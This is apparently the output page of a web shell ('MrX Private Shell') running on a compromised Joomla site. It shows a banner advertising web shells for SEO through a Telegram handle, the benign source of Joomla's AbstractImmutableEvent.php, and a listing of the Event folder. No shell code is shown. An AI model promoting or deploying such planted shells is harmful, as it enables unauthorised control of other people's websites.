__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\Event;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* This class implements the immutable base Event object used system-wide to offer orthogonality.
*
* @see \Joomla\CMS\Event\AbstractEvent
* @since 4.0.0
*/
class AbstractImmutableEvent extends AbstractEvent
{
/**
* A flag to see if the constructor has been already called.
*
* @var boolean
* @since 4.0.0
*/
private $constructed = false;
/**
* Constructor.
*
* @param string $name The event name.
* @param array $arguments The event arguments.
*
* @since 4.0.0
* @throws \BadMethodCallException
*/
public function __construct(string $name, array $arguments = [])
{
if ($this->constructed) {
throw new \BadMethodCallException(
\sprintf('Cannot reconstruct the AbstractImmutableEvent %s.', $this->name)
);
}
$this->constructed = true;
parent::__construct($name, $arguments);
}
/**
* Set the value of an event argument.
*
* @param string $name The argument name.
* @param mixed $value The argument value.
*
* @return void
*
* @since 4.0.0
* @throws \BadMethodCallException
*/
public function offsetSet($name, $value)
{
// B/C check for plugins which use $event['result'] = $result;
if ($name === 'result') {
parent::offsetSet($name, $value);
@trigger_error(
'Setting a result in an immutable event is deprecated, and will not work in Joomla 6. Event ' . $this->getName(),
E_USER_DEPRECATED
);
return;
}
throw new \BadMethodCallException(
\sprintf(
'Cannot set the argument %s of the immutable event %s.',
$name,
$this->name
)
);
}
/**
* Remove an event argument.
*
* @param string $name The argument name.
*
* @return void
*
* @since 4.0.0
* @throws \BadMethodCallException
*/
public function offsetUnset($name)
{
throw new \BadMethodCallException(
\sprintf(
'Cannot remove the argument %s of the immutable event %s.',
$name,
$this->name
)
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ActionLog | Folder | 0775 |
|
|
| Application | Folder | 0775 |
|
|
| Cache | Folder | 0775 |
|
|
| Captcha | Folder | 0775 |
|
|
| Checkin | Folder | 0775 |
|
|
| Contact | Folder | 0775 |
|
|
| Content | Folder | 0775 |
|
|
| CustomFields | Folder | 0775 |
|
|
| Editor | Folder | 0775 |
|
|
| Extension | Folder | 0775 |
|
|
| Finder | Folder | 0775 |
|
|
| Installer | Folder | 0775 |
|
|
| Folder | 0775 |
|
||
| Menu | Folder | 0775 |
|
|
| Model | Folder | 0775 |
|
|
| Module | Folder | 0775 |
|
|
| MultiFactor | Folder | 0775 |
|
|
| PageCache | Folder | 0775 |
|
|
| Plugin | Folder | 0775 |
|
|
| Privacy | Folder | 0775 |
|
|
| QuickIcon | Folder | 0775 |
|
|
| Result | Folder | 0775 |
|
|
| Table | Folder | 0775 |
|
|
| User | Folder | 0775 |
|
|
| View | Folder | 0775 |
|
|
| WebAsset | Folder | 0775 |
|
|
| Workflow | Folder | 0775 |
|
|
| AbstractEvent.php | File | 8.52 KB | 0664 |
|
| AbstractImmutableEvent.php | File | 2.66 KB | 0664 |
|
| AfterExtensionBootEvent.php | File | 1.2 KB | 0664 |
|
| BeforeExtensionBootEvent.php | File | 1.2 KB | 0664 |
|
| CoreEventAware.php | File | 12.49 KB | 0664 |
|
| ErrorEvent.php | File | 1.25 KB | 0664 |
|
| GenericEvent.php | File | 535 B | 0664 |
|
| ReshapeArgumentsAware.php | File | 3.96 KB | 0664 |
|